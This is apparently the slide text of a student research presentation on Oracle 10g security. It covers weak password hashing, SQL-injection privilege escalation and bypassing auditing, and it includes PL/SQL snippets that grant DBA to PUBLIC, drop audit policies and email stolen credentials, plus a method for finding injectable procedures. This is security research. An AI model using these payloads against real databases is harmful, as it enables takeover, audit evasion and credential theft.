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10 g An Investigation Into The Security Of Oracle 10g Enterprise Edition Release 2 Researcher: Okelitse Nyathi Supervisor: Mr J Ebden
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10 g OUTLINE Problem statement Methodology Results Detecting a potential SQL Injection vulnerability Demo…slight change...more snapshots Conclusion Future work
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10 g PROBLEM STATEMENT Claimed that Oracle is not safe by security researchers In 11/06, discovery of a new flaw called Cursor Snarfing by Litchfield Claim by Litchfield that Oracle had 34 unfixed flaws in 2006 whilst MS SQL Server had 0 Claim by Argeniss Information Security that this year alone Oracle has about 50 unfixed flaws including SQL Injection Reasons stated above and some other triggered the commencement of my project
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10 g METHODOLOGY. AUTHENTICATION AUTHORISATION BACKGROUND AUDITING DATA SECURITY & PRIVACY DB SERVER APP SERVER CLIENT OID
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10 g METHODOLOGY CONT… A thorough knowledge and scrutiny of the four security layers. Then find ways to break through these layers from the outer boundary to the pinnacle (in a good sense) As well as finding possible ways to avoid penetration through these security layers Finally make a well informed conclusion based upon the results.
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10 g WHAT I FOUND… THE FOLLOWING SLIDES SHOW EXPLANATIONS AND SNAPSOTS OF MY FINDINGS
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10 g AUTHENTICATION Oracle uses a very simple password hashing algorithm with a very weak salt Their algorithm is known in fine details, there are tools that imitate Oracle’s password hashing algorithm There are also tools that break Oracle’s password hashes giving clear texts password. Possible also to gain clear text passwords in Oracle using the password_verify_function, a stored procedure that monitors strength.
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10 g AUTHENTICATION C0NT… Same hash Breaking the hash Oracle hash obtained
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10 g AUTHORISATION Relatively easy to escalate privileges in Oracle from the minimum privilege to being the DBA. Most of this is achieved successfully through SQL Injection which is the main weakness Oracle uses VPD which monitors who has access to an object by adding the appropriate predicate to the query. Unfortunately this can easily be dropped by an attacker Oracle can be deceived by a low privileged user into exporting out whole database over the Internet by using OPS commands
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10 g AUTHORISATION CONT… DECLARE MY_CURSOR NUMBER; RESULT NUMBER; BEGIN MY_CURSOR:= DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE (MY_CURSOR,'declare pragma autonomous_transaction; Begin execute immediate '‘GRANT DBA TO PUBLIC''; commit; end;’, 0); DBMS_OUTPUT.PUT_LINE ('Cursor value is:' || MY_CURSOR); END; / Cursor value is: 6 PL/SQL procedure successfully completed. Stand-alone subprogram with independent commands SQL Injection
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10 g AUDITING This occurs transparently without the user suspecting anything Fine Grained Auditing is an excellent method used by Oracle to monitors access on objects rather than users. But just like VPD, easily by passed by hackers leaving no trace of an attack. Triggers can be used as well to audit, these too can be dropped by hackers.
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10 g AUDITING CONT… CREATE OR REPLACE FUNCTION GAIN_DBMS_FGA RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN DBMS_OUTPUT.PUT_LINE('EXECUTED FLAW'); EXECUTE IMMEDIATE 'GRANT EXECUTE ON DBMS_FGA TO OXO'; RETURN 1; COMMIT; END; / Grant DBMS_FGA Dropping policy Auditing dropped
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10 g DATA SECURITY & PRIVACY Oracle’s top security level Examples are checksums, TDE and wrappers but the last two have flaws TDE encrypts data as claimed but defeats its sole purpose of hiding data because clear data is visible. Oracle stores both clear and encrypted data together because zeroing(making it null) out text requires a lot of CPU cycles (optimisation) If an attacker gets hold of the disks then he has access to the data in it by mounting it on a similar OS.
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10 g DATA SECURITY & PRIVACY CONT… Create test table Dump data in udump View data in udump
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10 g DATA SECURITY & PRIVACY CONT… View data in udump Update udump Encrypt field
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10 g DETECT SQL INJECTION VULNERABILITY Find out who has the DBA role in the database For each user in the list, search for packages created by user that have been granted to ‘public’, and not declared as ‘current user’ (thus definer) For each of the packages in the list, run the command ‘describe’ to find procedures and functions within that have ‘varchar2’ as a parameter. For each of the procedures or function, input four single quotes as input and note down those that return the error: ORA – 01756: Quoted string not properly terminated e.g.: Exec wksys.wk_qry.setsessionlang(‘’’’);
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10 g DEMO…snapshots The demo is a combination of different kinds of hacks that break authentication, authorisation and data secrecy and privacy
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10 g DEMO CONT… Change SYS’s password Perform SQL Injection
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10 g DEMO CONT… Password stored in table Original password can not login
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10 g DEMO CONT… PROCEDURE PWDHACK (USERNAME_IN VARCHAR2, VALUE_IN VARCHAR2) IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN SCOTT.SEMD_EMAIL(USERNAME_IN, VALUE_IN); COMMIT; END; BEGIN DIGITARRAY: = '0123456789'; Chararray: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' Send username & password by email Email Received
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10 g DEMO CONT… Replace password hash & delete it from table Current password hash
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10 g DEMO CONT… Guess who’s logging in ? New password hash
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10 g CONCLUSION Having gathered the results presented above and others not presented today, a conclusion was reached. It seems that all the layers presented by Oracle have got a security hole that allows data to be pinched by hackers. My conclusion is that Oracle as a database is not safe enough to store user data. Their major weakness is protecting against SQL Injection as well as using a weak password hashing algorithm. A lot of packages, stored procedures and functions have to be reviewed for SQL Injection.
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10 g FUTURE WORK A security comparison between Oracle and another relational database e.g. Ms SQL Server Look into Oracle’s coding especially their “assembly code”, there is claim that Oracle has insecure op code that makes it unsafe as a database Oracle seems to be issuing a lot of patches every quota as high as 86 early this year in the first quota. This might be an interesting issue to look into.
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10 g A Q & Q U E S T I O N S A N S W E R S
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